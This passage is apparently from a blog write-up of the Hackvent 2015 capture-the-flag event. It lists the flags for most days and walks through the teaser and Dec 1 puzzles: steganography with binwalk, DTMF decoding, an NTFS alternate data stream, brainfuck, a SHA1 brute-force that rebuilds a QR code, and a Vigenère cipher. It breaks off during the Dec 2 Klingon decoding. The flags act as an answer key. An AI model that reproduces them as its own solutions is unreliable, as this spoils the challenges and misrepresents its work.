Home Hackvent 2015
Ctf-event
Cancel

Hackvent 2015

Overview

ChallengeDifficultyCategoryFlag
Teaser: Santa’s LeakHV15-W!ll-R0ck-t#i$-xM4s-H0b0
Dec 1: HelloHV15-Tz9K-4JIJ-EowK-oXP1-NUYL
Dec 2: Say me your nameHV15-AfDd-Mr5J-zf1v-K7aO-FQ4h
Dec 3: Catch meHV15-6Jhd-nWbQ-4dY8-yxH5-vSiA
Dec 4: Crypto 01HV15-OWoV-lO6j-Aqq8-fV7M-Oduv
Dec 5: PDFHV15-bkPb-tPEM-Fh3n-wvOi-5ZgD
Dec 6: Lost …HV15-t9P8-QaIV-J0Ar-83F3-M8Dc
Dec 7: imaginationHV15-aFsf-4ea1-2eGg-Llr4-pB5A
Dec 8: Santa’s Christmas StoreHV15-0Ch0-91zo-m99Y-kxGI-8iQ5
Dec 9: Sound TransmissionHV15-GnUj-1YQ7-vdYC-2wlr-E6xj
Dec 10: Nasty ZipHV15-iQYf-adNg-o4S9-JHc7-vfWu
Dec 11: Old SchoolHV15-m3hn-BG5H-lufe-8WPM-kzfk
Dec 12: High Performance ComputingHV15-mHPC-067e-751e-f50e-17e3
Dec 13: Ball in plain sight!?!HV15-1W0A-gTOY-bOpM-mexV-LoAz
Dec 14: Reversing #1HV15-uQEJ-4HPX-Qcau-Xvt7-NAlP
Dec 15: Paper and PenHV15-U3bA-BKhc-gNqN-Hit6-C1fK
Dec 16: Reversing #2 unsolved
Dec 17: Santas Quick ResponseHV15-KLg1-vnhb-qO3v-02Fd-IzOR
Dec 18: Reversing #3HV15-9aSY-BcJH-N8tK-AHzP-QmHY
Dec 19: Soap RiddlerHV15-uUIh-wudK-YAam-fIw5-YuNo
Dec 20 unsolved
Dec 21: Mr SantaHV15-TZHg-KRLH-tHlC-PmiZ-uWzB
Dec 22 Saving XMasHV15-part1-Vjdj-PN0Z-dHA9-NfcN
Dec 23 unsolved
Dec 24: I’ll Give You My Present unsolved

Teaser: Santa’s Leak

A few weeks before the start of the event, a teaser challenge was released.

Challenge

Santa’s work has been leaked by a the infamous group “Chuchichästli 1337 “. They were only able to grab the logo, but not to reveal the secret.

Can you help them and find the HACKvent - Nugget (HV15-aaaa-bbbb-cccc-dddd-eeee)?

In order to get full points, submit the HV-Nugget and a (short) description how you get it.

Hint: This is a multistage challenge, with different steps you have to solve. At the end you will get the final nugget which begins with “HV15-“.

Solution

Scanning the QR code of the first bauble gives us:

1
nyy lbh arrq vf  urer

which when ROT-13’ed gives:

1
all you need is here

We use binwalk to check for secret files hidden within the image file:

1
2
3
4
5
6
$ binwalk santas_leak_new.png

DECIMAL   	HEX       	DESCRIPTION
---------------------------------------------------------------------------------------
0         	0x0       	PNG image, 256 x 256, 8-bit/color RGBA, non-interlaced
76450     	0x12AA2   	RAR archive data

So we see there is a RAR archive appended to the end of the image file. We can use binwalk to extract it for us:

1
$ binwalk -D 'rar archive:rar' santas_leak_new.png

The rar file contains a WAV file.

The audio file sounds like a series of DTMF sounds. We can decode this online here: http://dialabc.com/sound/detect/index.html. This is the output we get from the site:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Tone	Start Offset [ms]	End Offset [ms]	Length [ms]
1	0 ± 15     		301 ± 15   	301 ± 30
0	331 ± 15   		662 ± 15   	331 ± 30
6	692 ± 15   		994 ± 15   	301 ± 30
1	1,054 ± 15 		1,355 ± 15 	301 ± 30
1	1,385 ± 15 		1,717 ± 15 	331 ± 30
7	1,747 ± 15 		2,048 ± 15 	301 ± 30
1 	2,078 ± 15 		2,410 ± 15 	331 ± 30
1	2,440 ± 15 		2,771 ± 15 	331 ± 30
5	2,801 ± 15 		3,102 ± 15 	301 ± 30
1	3,133 ± 15 		3,464 ± 15 	331 ± 30
1	3,494 ± 15 		3,795 ± 15 	301 ± 30
6	3,856 ± 15 		4,157 ± 15 	301 ± 30
3	4,187 ± 15 		4,518 ± 15 	331 ± 30
2	4,548 ± 15 		4,850 ± 15 	301 ± 30
1	4,880 ± 15 		5,211 ± 15 	331 ± 30
1	5,241 ± 15 		5,543 ± 15 	301 ± 30
2	5,603 ± 15 		5,904 ± 15 	301 ± 30
1	5,934 ± 15 		6,266 ± 15 	331 ± 30
1	6,296 ± 15 		6,597 ± 15 	301 ± 30
1	6,627 ± 15 		6,958 ± 15 	331 ± 30
1	6,989 ± 15 		7,320 ± 15 	331 ± 30
1	7,350 ± 15 		7,651 ± 15 	301 ± 30
5	7,681 ± 15 		8,013 ± 15 	331 ± 30
1	8,043 ± 15 		8,344 ± 15 	301 ± 30
1	8,404 ± 15 		8,706 ± 15 	301 ± 30
5	8,736 ± 15 		9,067 ± 15 	331 ± 30
1	9,097 ± 15 		9,399 ± 15 	301 ± 30
0	9,429 ± 15 		9,760 ± 15 	331 ± 30
5	9,790 ± 15 		10,122 ± 15	331 ± 30
9	10,152 ± 15		10,453 ± 15	301 ± 30
8	10,483 ± 15		10,814 ± 15	331 ± 30
1	10,845 ± 15		11,146 ± 15	301 ± 30
0	11,176 ± 15		11,507 ± 15	331 ± 30
8	11,537 ± 15		11,869 ± 15	331 ± 30
1	11,899 ± 15		12,200 ± 15	301 ± 30
0	12,230 ± 15		12,562 ± 15	331 ± 30
1	12,592 ± 15		12,893 ± 15	301 ± 30
3	12,953 ± 15		13,255 ± 15	301 ± 30
2	13,285 ± 15		13,616 ± 15	331 ± 30
1	13,646 ± 15		13,947 ± 15	301 ± 30
1	13,978 ± 15		14,309 ± 15	331 ± 30
9	14,339 ± 15		14,670 ± 15	331 ± 30
1	14,701 ± 15		15,002 ± 15	301 ± 30
0	15,032 ± 15		15,363 ± 15	331 ± 30
5	15,393 ± 15		15,695 ± 15	301 ± 30
1	15,755 ± 15		16,056 ± 15	301 ± 30
1	16,086 ± 15		16,418 ± 15	331 ± 30
6	16,448 ± 15		16,749 ± 15	301 ± 30
1	16,779 ± 15		17,111 ± 15	331 ± 30
0	17,141 ± 15		17,472 ± 15	331 ± 30
4	17,502 ± 15		17,803 ± 15	301 ± 30
1	17,834 ± 15		18,165 ± 15	331 ± 30
0	18,195 ± 15		18,496 ± 15	301 ± 30
5	18,557 ± 15		18,858 ± 15	301 ± 30
1	18,888 ± 15		19,219 ± 15	331 ± 30
1	19,249 ± 15		19,551 ± 15	301 ± 30
0	19,581 ± 15		19,912 ± 15	331 ± 30
3	19,942 ± 15		20,244 ± 15	301 ± 30
2	20,304 ± 15		20,605 ± 15	301 ± 30
1	20,635 ± 15		20,967 ± 15	331 ± 30
1	20,997 ± 15		21,298 ± 15	301 ± 30

looks like decimal-encoded ascii characters

1
2
106 117 115 116 32 112 111 115 115 105 98 108 101 32 119
105 116 104 105 110 32 115 117 99 104 32 97 32 114 97 114

which translates to

1
just possible within such a rar

hmm, what now..? seems to be pointing us back to the direction of the rar file, could there be anything else hidden?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ unrar ltab 12AA2.rar

UNRAR 5.00 beta 8 freeware      Copyright (c) 1993-2013 Alexander Roshal

Archive: 12AA2.rar
Details: RAR 4

        Name: 2.wav
        Type: File
        Size: 470444
 Packed size: 419609
       Ratio: 89%
       mtime: 2015-11-14 11:12,000
  Attributes: ..A....
       CRC32: 7F094717
     Host OS: Windows
 Compression: RAR 3.0(v29) -m3 -md=512K

        Name: STM
        Type: NTFS alternate data stream
      Target: :3.txt
        Size: 490901
 Packed size: 376134
       Ratio: 76%
       mtime: 2015-11-14 11:12,000
  Attributes: .B
       CRC32: 979A0B91
     Host OS: Windows
 Compression: RAR 3.0(v29) -m3 -md=64K

     Service: EOF

Looks like there is an NTFS alternate data stream present. We switch to Windows and use a tool to extract the ADS

http://www.nirsoft.net/utils/alternate_data_streams.html

We get the following file: 2.wav:3.txt, which looks like base64 encoded data:

1
2
3
4
5
6
7
8
9
10
11
12
JVBERi0xLjUNCiWhs8XXDQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMg
MiAwIFIgL0xhbmcoZGUtQ0gpL1N0cnVjdFRyZWVSb290IDE1IDAgUiAvTWFya0lu
Zm88PC9NYXJrZWQgdHJ1ZT4+L0Fjcm9Gb3JtPDwvRmllbGRzW10+Pi9OYW1lcyA4
NCAwIFIgPj4NCmVuZG9iag0KMyAwIG9iag0KPDwvVHlwZS9QYWdlL1BhcmVudCAy
IDAgUiAvUmVzb3VyY2VzPDwvRm9udDw8L0YxIDUgMCBSIC9GMiAxMiAwIFIgPj4v
RXh0R1N0YXRlPDwvR1M3IDcgMCBSIC9HUzggOCAwIFIgPj4vWE9iamVjdDw8L0lt
YWdlOSA5IDAgUiAvSW1hZ2UxMCAxMCAwIFIgPj4vUHJvY1NldFsvUERGL1RleHQv
SW1hZ2VCL0ltYWdlQy9JbWFnZUldPj4vTWVkaWFCb3hbIDAgMCA1OTUuMzIgODQx
LjkyXS9Db250ZW50cyA0IDAgUiAvR3JvdXA8PC9UeXBlL0dyb3VwL1MvVHJhbnNw
YXJlbmN5L0NTL0RldmljZVJHQj4+L1RhYnMvUy9TdHJ1Y3RQYXJlbnRzIDA+Pg0K
ZW5kb2JqDQo0IDAgb2JqDQo8PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDUw
[..]

we decode and get the following file: base64decoded.bin

1
2
3
$ file base64decoded.bin

base64decoded.bin: PDF document, version 1.5

Aha! it’s a PDF file

And it contains brainfuck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
+++++ +++[- >++++ ++++< ]>+++ +++++ .<+++ ++[-> +++++ <]>++ ++.<+ +++[-
>++++ <]>++ ++.<+ +++++ +++[- >---- ----- <]>-- ----- -.<++ +++++ +[->+
+++++ ++<]> +++++ +++++ ++.-- ----- ..<++ +[->+ ++<]> +++++ +.-.< +++++
+++[- >---- ----< ]>--- ----. <+++[ ->--- <]>-- -.<++ ++[-> ----< ]>---
.---. <++++ +++[- >++++ +++<] >++++ +++++ +++++ .<+++ +++[- >++++ ++<]>
.<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ +++++ ++[-> +++++ +++<]
>++++ +++.+ ++++. <+++[ ->--- <]>-- .+++. <++++ ++++[ ->--- ----- <]>--
--.<+ +++++ +++[- >++++ +++++ <]>++ +++++ +.<++ +[->- --<]> -.+++ +++.<
+++++ ++++[ ->--- ----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+
+++++ +++.+ +++++ .---- ---.< +++[- >---< ]>-.< +++++ +++[- >---- ----<
]>--- -.<++ +++++ ++[-> +++++ ++++< ]>+++ .<+++ [->-- -<]>- --.-- -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+
+++[- >---- <]>-- ----. <++++ [->++ ++<]> +++++ +++.< +++++ ++++[ ->---
----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++ +.--- --.<+ +++++
++[-> ----- ---<] >---- ----- ----- -.<++ +++++ ++[-> +++++ ++++< ]>+++
.<+++ [->-- -<]>- --.+. <+++[ ->+++ <]>+. <++++ +++++ [->-- ----- --<]>
--.<+ +++++ +++[- >++++ +++++ <]>++ .+.<+ ++[-> ---<] >---- --.<+ ++[->
+++<] >++.< +++++ +++[- >---- ----< ]>--. <++++ +[->- ----< ]>--- -----
.---. +++.- --.<+ +++++ ++[-> +++++ +++<] >++++ +++++ .<+++ +[->+ +++<]
>++.- ---.< ++++[ ->+++ +<]>+ .<+++ [->-- -<]>- ----- .++++ +.<++ +++++
+[->- ----- --<]> ----- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.<+ ++[->
---<] >---. ---.< +++++ +++[- >---- ----< ]>--- --.<+ +++++ ++[-> +++++
+++<] >++++ +++++ +++++ +.+++ ++.<+ ++[-> ---<] >---. ---.< +++[- >+++<
]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< ++++[ ->+++ +<]>+ +.<++ ++[->
----< ]>--. <++++ ++++[ ->+++ +++++ <]>++ ++++. +++.+ ++.-- ----- .<+++
[->++ +<]>+ ++++. <++++ +++++ [->-- ----- --<]> --.<+ +++++ ++[-> +++++
+++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->-- -----
-<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.<+ +++[- >---- <]>-- -.<++
+[->+ ++<]> +.--- ---.< +++[- >+++< ]>+.- ----- ---.. <++++ ++++[ ->---
----- <]>-- ----. <++++ +++++ [->++ +++++ ++<]> +++.- ----. <++++ ++++[
->--- ----- <]>-- ----- ----- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.<+
++[-> ---<] >---. ---.< +++++ +++[- >---- ----< ]>--- --.<+ +++++ ++[->
+++++ +++<] >++++ +++++ +++++ .---- ----- .<+++ +[->+ +++<] >+++. ----.
<++++ +++++ [->-- ----- --<]> ---.< +++++ ++++[ ->+++ +++++ +<]>+ +.+.<
+++[- >---< ]>--- ---.< +++[- >+++< ]>++. <++++ ++++[ ->--- ----- <]>--
----- ----- ---.< ++++[ ->--- -<]>- ---.- --.++ +.--- .<+++ +++++ [->++
+++++ +<]>+ +++++ +++++ ++++. <++++ [->++ ++<]> +++++ +.+++ +++.- --.+.
<++++ ++++[ ->--- ----- <]>-- ----- .<+++ [->-- -<]>- --.<+ +++++ +++[-
>++++ +++++ <]>++ .<+++ +[->- ---<] >--.< +++[- >+++< ]>+++ +.+++ +++.<
++++[ ->--- -<]>- --.<

We run the brainfuck program (for instance here: http://esoteric.sange.fi/brainfuck/impl/interp/i.html )

and get the following output:

1
2
3
4
5
6
7
8
9
10
11
Hey leets,

Im glad you found the way to this step.



Search the other 2 files and takeoff to the next step!



Yours, santa

Hmm.. So there must be more hidden files somewhere..

We use pdfextract.com to find all files embedded in the pdf. This gives us the following three images:

The first image is a stereogram. We can find the hidden image using this website: http://magiceye.ecksdee.co.uk/

It’s windings!

It spells

1
ball=sha1([01]{25})

Hmmm… No clue what that means, something involving sha1 hashes..

We keep looking in all files and find another image hidden in the pdf file using binwalk:

1
2
3
4
5
$ binwalk base64decoded.pdf

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
345872    	0x54710   	PNG image, 120 x 120, 8-bit/color RGB, non-interlaced

We again extract it with binwalk

1
2
3
4
5
$ binwalk -D 'PNG image:png'  base64decoded.pdf

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
345872    	0x54710   	PNG image, 120 x 120, 8-bit/color RGB, non-interlaced

link

There is something interesting in the exif data of this image:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ exiftool 54710.png ExifTool Version Number         : 9.46
File Name                       : 54710.png
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:11:15 22:48:34+01:00
File Access Date/Time           : 2015:11:15 22:48:35+01:00
File Inode Change Date/Time     : 2015:11:15 22:48:34+01:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
MIME Type                       : image/png
Image Width                     : 120
Image Height                    : 120
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Gamma                           : 2.2
White Point X                   : 0.31269
White Point Y                   : 0.32899
Red X                           : 0.63999
Red Y                           : 0.33001
Green X                         : 0.3
Green Y                         : 0.6
Blue X                          : 0.15
Blue Y                          : 0.05999
Pixels Per Unit X               : 2834
Pixels Per Unit Y               : 2834
Pixel Units                     : Meters
Software                        : paint.net 4.0.6
Comment                         : 754c6738acc834944b90b2a9a77bdbacb093f6e4.a1ff6b23bb8ed85b6f0adf9f65f007e9b3e348e0.848fdbfa2d28a1aee0d82c8a707c4d1261f51079.312189262e204aa9027ca64db1d43d1153a860e5.21f4c0b5e077f82739c0748df71610fc6285e768.3ded376898e8843999f1d0df89137308542acac2.a9f2066e530187b9371ada082e11a56127028749.d028c883a63e2232783ea6f54ce6d0091a9d2d84.610bf7f4144cf300ef086254459c427d16767d6a.e56a109aab8b4e9b18e099a8ae1477d8de270149.5de13aa399cf9e3042af96eab88d28def1f58549.a5229747c1437b737ac2cc1567f173d4a4ba12ba.2bb48bc2105ca33f56906d8c6c4b6aec4c16cb58.e7a804128bc3ae8150adeb80ac695fdea0f2b643.12aae009a8d38f6585debaddef79aed5cd858df4.8b7c437b1d8cdbb8a72a9783b3882c87d397c76a.4b1dfd5c05068a37df7ebfef64bb5bc4a8c7daab.7a781addb8ef467884ecb62bbe1bb7d024b0eb83.6d23cafac980692dc7401fd53cf287aec49d4ae2.16f607d441caf3cbda5335bccd2f104da131f2a9.7982fcaa2b59698d3eb5aa05369454b105de6dc3.5e836fbdb63db38d2f9a8604dd90856a9791efce.b5adb5a6cccc137d6851e2fcb5fa276307edf8f4.06004577f5d35b54b80a53a20aedf5895509bffa.1e238015f260d4d485e3e9d64fa17db80eb81708
Image Size                      : 120x120
1
754c6738acc834944b90b2a9a77bdbacb093f6e4.a1ff6b23bb8ed85b6f0adf9f65f007e9b3e348e0.848fdbfa2d28a1aee0d82c8a707c4d1261f51079.312189262e204aa9027ca64db1d43d1153a860e5.21f4c0b5e077f82739c0748df71610fc6285e768.3ded376898e8843999f1d0df89137308542acac2.a9f2066e530187b9371ada082e11a56127028749.d028c883a63e2232783ea6f54ce6d0091a9d2d84.610bf7f4144cf300ef086254459c427d16767d6a.e56a109aab8b4e9b18e099a8ae1477d8de270149.5de13aa399cf9e3042af96eab88d28def1f58549.a5229747c1437b737ac2cc1567f173d4a4ba12ba.2bb48bc2105ca33f56906d8c6c4b6aec4c16cb58.e7a804128bc3ae8150adeb80ac695fdea0f2b643.12aae009a8d38f6585debaddef79aed5cd858df4.8b7c437b1d8cdbb8a72a9783b3882c87d397c76a.4b1dfd5c05068a37df7ebfef64bb5bc4a8c7daab.7a781addb8ef467884ecb62bbe1bb7d024b0eb83.6d23cafac980692dc7401fd53cf287aec49d4ae2.16f607d441caf3cbda5335bccd2f104da131f2a9.7982fcaa2b59698d3eb5aa05369454b105de6dc3.5e836fbdb63db38d2f9a8604dd90856a9791efce.b5adb5a6cccc137d6851e2fcb5fa276307edf8f4.06004577f5d35b54b80a53a20aedf5895509bffa.1e238015f260d4d485e3e9d64fa17db80eb81708
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
754c6738acc834944b90b2a9a77bdbacb093f6e4
a1ff6b23bb8ed85b6f0adf9f65f007e9b3e348e0
848fdbfa2d28a1aee0d82c8a707c4d1261f51079
312189262e204aa9027ca64db1d43d1153a860e5
21f4c0b5e077f82739c0748df71610fc6285e768
3ded376898e8843999f1d0df89137308542acac2
a9f2066e530187b9371ada082e11a56127028749
d028c883a63e2232783ea6f54ce6d0091a9d2d84
610bf7f4144cf300ef086254459c427d16767d6a
e56a109aab8b4e9b18e099a8ae1477d8de270149
5de13aa399cf9e3042af96eab88d28def1f58549
a5229747c1437b737ac2cc1567f173d4a4ba12ba
2bb48bc2105ca33f56906d8c6c4b6aec4c16cb58
e7a804128bc3ae8150adeb80ac695fdea0f2b643
12aae009a8d38f6585debaddef79aed5cd858df4
8b7c437b1d8cdbb8a72a9783b3882c87d397c76a
4b1dfd5c05068a37df7ebfef64bb5bc4a8c7daab
7a781addb8ef467884ecb62bbe1bb7d024b0eb83
6d23cafac980692dc7401fd53cf287aec49d4ae2
16f607d441caf3cbda5335bccd2f104da131f2a9
7982fcaa2b59698d3eb5aa05369454b105de6dc3
5e836fbdb63db38d2f9a8604dd90856a9791efce
b5adb5a6cccc137d6851e2fcb5fa276307edf8f4
06004577f5d35b54b80a53a20aedf5895509bffa
1e238015f260d4d485e3e9d64fa17db80eb81708

These could be the SHA1 hashes alluded to by the wingdings.

It cannot be the SHA1 encryption of the final key, as that would take too long too bruteforce with 20 unknown characters:

1
HV15-aaaa-bbbb-cccc-dddd-eeee

We need to know more about the possible strings the SHA1 hashes encode..

Ah, but that is exactly what the windings were trying to tell us!

1
ball=sha1([01]{25})

The sha1 hashes encode 25-character long binary strings, and that is something we can easily bruteforce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
import itertools

target=["754c6738acc834944b90b2a9a77bdbacb093f6e4",
"a1ff6b23bb8ed85b6f0adf9f65f007e9b3e348e0",
"848fdbfa2d28a1aee0d82c8a707c4d1261f51079",
"312189262e204aa9027ca64db1d43d1153a860e5",
"21f4c0b5e077f82739c0748df71610fc6285e768",
"3ded376898e8843999f1d0df89137308542acac2",
"a9f2066e530187b9371ada082e11a56127028749",
"d028c883a63e2232783ea6f54ce6d0091a9d2d84",
"610bf7f4144cf300ef086254459c427d16767d6a",
"e56a109aab8b4e9b18e099a8ae1477d8de270149",
"5de13aa399cf9e3042af96eab88d28def1f58549",
"a5229747c1437b737ac2cc1567f173d4a4ba12ba",
"2bb48bc2105ca33f56906d8c6c4b6aec4c16cb58",
"e7a804128bc3ae8150adeb80ac695fdea0f2b643",
"12aae009a8d38f6585debaddef79aed5cd858df4",
"8b7c437b1d8cdbb8a72a9783b3882c87d397c76a",
"4b1dfd5c05068a37df7ebfef64bb5bc4a8c7daab",
"7a781addb8ef467884ecb62bbe1bb7d024b0eb83",
"6d23cafac980692dc7401fd53cf287aec49d4ae2",
"16f607d441caf3cbda5335bccd2f104da131f2a9",
"7982fcaa2b59698d3eb5aa05369454b105de6dc3",
"5e836fbdb63db38d2f9a8604dd90856a9791efce",
"b5adb5a6cccc137d6851e2fcb5fa276307edf8f4",
"06004577f5d35b54b80a53a20aedf5895509bffa",
"1e238015f260d4d485e3e9d64fa17db80eb81708"]

alphabet = "01"

perms=itertools.product(alphabet,repeat=25)

solutions=[0]*25
for p in perms:
    t = ''.join(p)
    s= hashlib.sha1(t).hexdigest()

    if s in target:
        solutions[target.index(s)]=t

for s in solutions:
    print s

after less than a minute we get the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0000000111110111110000000
0111110101010101010111110
0100010111110010010100010
0100010100010111110100010
0100010110111100110100010
0111110100100111110111110
0000000101010101010000000
1111111001101101001111111
0000010111011101111010101
1001001110101011111101111
1011110000110010110111100
0001101010001111110111010
0111100101101111110001110
0101011101000000000101110
0110100101011000001011101
0110101111001011100111100
0110000000101100110001110
1111111010011011101100101
0000000100011101010100110
0111110111111010011101101
0100010101011101000001110
0100010100100101101001010
0100010101100111010100110
0111110100011000110010011
0000000100100100000010110

That looks suspiciously like a QR code!!

let’s turn it into an image with python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from PIL import Image

bitstring="0000000111110111110000000011111010101010101011111001000101111100100101000100100010100010111110100010010001011011110011010001001111101001001111101111100000000101010101010000000111111100110110100111111100000101110111011110101011001001110101011111101111101111000011001011011110000011010100011111101110100111100101101111110001110010101110100000000010111001101001010110000010111010110101111001011100111100011000000010110011000111011111110100110111011001010000000100011101010100110011111011111101001110110101000101010111010000011100100010100100101101001010010001010110011101010011001111101000110001100100110000000100100100000010110"

outimg= Image.new("RGB",(25,25),"black")
pixels_out = outimg.load()

count=-1
for i in range(0,25):
    for j in range (0,25):
        count+=1
        if bitstring[count]=="1":
            pixels_out[(j,i)]=(255,255,255)


outimg=outimg.resize((100,100))
outimg.save("qrout.png","png")

Hmm, seems not quite readable..

Below is an explanation of the QRcode format:


  • The three large squares highlighted in red are the position markers. These tell the scanner where the edges of the code are.
  • The smaller red square is an alignment marker. This acts as a reference point for the scanner, making sure everything lines up properly. In bigger codes, there are several of these squares.
  • The red strips of alternating black and white modules are called timing patterns. They define the positioning of the rows and columns.
  • The green sections determine the format. This tells the scanner whether it’s a website, text message, Chinese symbols, numbers, or any combination of these.
  • The modules highlighted in blue represent the version number. Basically, the more modules in the code, the higher the version (up to v40, which is 177×177 modules). If the code is version 6 or smaller, the version does not need to be defined here because the scanner can literally count the modules and determine the version on its own.

The red areas should always be the same for any QR code, but we see that four ours it is not. We also notice that the areas in the inner square of the QR code overlapping the red zones are exactly inverse of what they should be. So we invert the pixels in that area to fix this QR code image.

Whoohoo!! This QR code is readable and gives us the final flag:

1
HV15-W!ll-R0ck-t#i$-xM4s-H0b0

Flag

HV15-W!ll-R0ck-t#i$-xM4s-H0b0

Dec 1: Hello

Challenge

world

1
2
3
4
Ns ly ns! Hy esy dnmru Yerdg mw xux e parri ser kz epv? Lsv iuy roxhw s nezo g wtoimev xmhnri: Jsth xrk
tmmzyvo o'zi lkir rohmxm hsehpc puv cya. Jmbyx cya amvr jmxj mx rohhot sr dni lkiozotx woxzib grh dnir
... knq, ry, lmrn zli sjirdogev oqeqk csexwivl mr dni ayxph gohi gkf. Lk ne lk, tmgo psoo cled? Hyx sz'w
xrk xvezl, cya lefk xs nu xlkz! Lezvc enbird, esyby Wexze

Solution

Looks like a letter. Could start with “ho ho ho” and end with “Santa”. If so this is not a simple substitution cipher, perhaps vigenere? We try the online solver here: http://www.guballa.de/vigenere-solver and find the decryption:

1
2
3
4
5
6
(key= "geek" )

Ho ho ho! Do you think Santa is not a funny man at all? For you nerds i have a special riddle: Find the
picture i've been hiding doubly for you. First you will find it hidden on the hackvent server and then
... ahm, no, find the identical image yourself in the world wide web. Ha ha ha, nice joke what? But it's
the truth, you have to do that! Happy advent, yours Santa

Hmm..

Let’s check out the robots.txt file to see if anything is hidden from crawlers:

1
Disallow: /MeMyselfAndI-surfingInTheSky/hacker.jpg

aha, we have our hidden image:

Santa’s message seems to suggest we need to find that same image on the web. Let’s try Google image search. We get a hit on http:\\hacking-lab.club, which shows the following:

hmm, it would appear we need to look at what the website looked like before the start of the CTF. Let’s ask the wayback machine. We see that there is an archived version from December 8, as the bauble image suggests. Unfortunately the images themselves weren’t cached, but we can see that the image next to the truck used to be work.png, so we look at http:\\hacking-lab.club\work.png and sure enough we find the real bauble image:

Scanning the code gives the nugget.

Flag

HV15-Tz9K-4JIJ-EowK-oXP1-NUYL

Dec 2: Say me your name

Challenge

… and i say you your language

1
pagh wa'vatlh netlh wa'maH wa'maH wa' SaD wa' SaD wa'vatlh wa' wa'maH wa'maH wa'vatlh wa'maH wa' wa'maH wa'maH netlh pagh wa'maH wa' wa'vatlh wa' wa'vatlh SaD SaD wa' wa'vatlh netlh wa'maH wa' wa'maH wa'maH wa'vatlh wa' wa'maH wa'maH wa' wa' wa'vatlh SaD wa' wa'maH wa'maH wa'maH wa'vatlh wa'maH SaD wa'maH wa' wa'maH wa'maH wa' wa' wa' wa'maH wa'vatlh wa' wa'vatlh wa' SaD wa' SaD wa'maH wa' wa' wa'maH wa' SaD  wa'maH wa' wa'maH wa'maH wa'vatlh wa'maH wa' wa'vatlh wa' wa'maH wa' wa' wa'maH wa' netlh wa'maH wa'vatlh wa' wa' wa' wa'vatlh wa'maH wa' wa'maH wa'maH SaD wa' wa'vatlh wa'maH SaD wa'vatlh wa' wa'maH SaD wa' wa'maH SaD

Solution

Looks like Klingon. We translate it (see here for Klingon number system http://klingonska.org/ref/num.html) to get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
klingon = "pagh wa'vatlh netlh wa'maH wa'maH wa' SaD wa' SaD wa'vatlh wa' wa'maH wa'maH wa'vatlh wa'maH wa' wa'maH wa'maH netlh pagh wa'maH wa' wa'vatlh wa' wa'vatlh SaD SaD wa' wa'vatlh netlh wa'maH wa' wa'maH wa'maH wa'vatlh wa' wa'maH wa'maH wa' wa' wa'vatlh SaD wa' wa'maH wa'maH wa'maH wa'vatlh wa'maH SaD wa'maH wa' wa'maH wa'maH wa' wa' wa' wa'maH wa'vatlh wa' wa'vatlh wa' SaD wa' SaD wa'maH wa' wa' wa'maH wa' SaD  wa'maH wa' wa'maH wa'maH wa'vatlh wa'maH wa' wa'vatlh wa' wa'maH wa' wa' wa'maH wa' netlh wa'maH wa'vatlh wa' wa' wa' wa'vatlh wa'maH wa' wa'maH wa'maH SaD wa' wa'vatlh wa'maH SaD wa'vatlh wa' wa'maH SaD wa' wa'maH SaD"

klingon2english = {'netlh':'tenthousand',
                   'SaD':'thousand',
                   "wa'vatlh":'onehundred',
                   "wa'maH":'ten',
                   "wa' ":'one ',
                   'pagh':'zero' }
english=klingon

for key in klingon2english:
    english=english.replace(key,klingon2english[key])

print english

which outputs:

1
2
3
4
5
6
7
zero onehundred tenthousand ten ten one thousand one thousand onehundred one ten ten onehundred ten one ten
ten tenthousand zero ten one onehundred one onehundred thousand thousand one onehundred tenthousand ten one
ten ten onehundred one ten ten one one onehundred thousand one ten ten ten onehundred ten thousand ten one
ten ten one one one ten onehundred one onehundred one thousand one thousand ten one one ten one thousand
ten one ten ten onehundred ten one onehundred one ten one one ten one tenthousand ten onehundred one one
one onehundred ten one ten ten thousand one onehundred ten thousand onehundred one ten thousand one ten
thousand

This looks like it could be describing binary. We make a quick python script to decode Klingon –> binary –> ascii :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import binascii

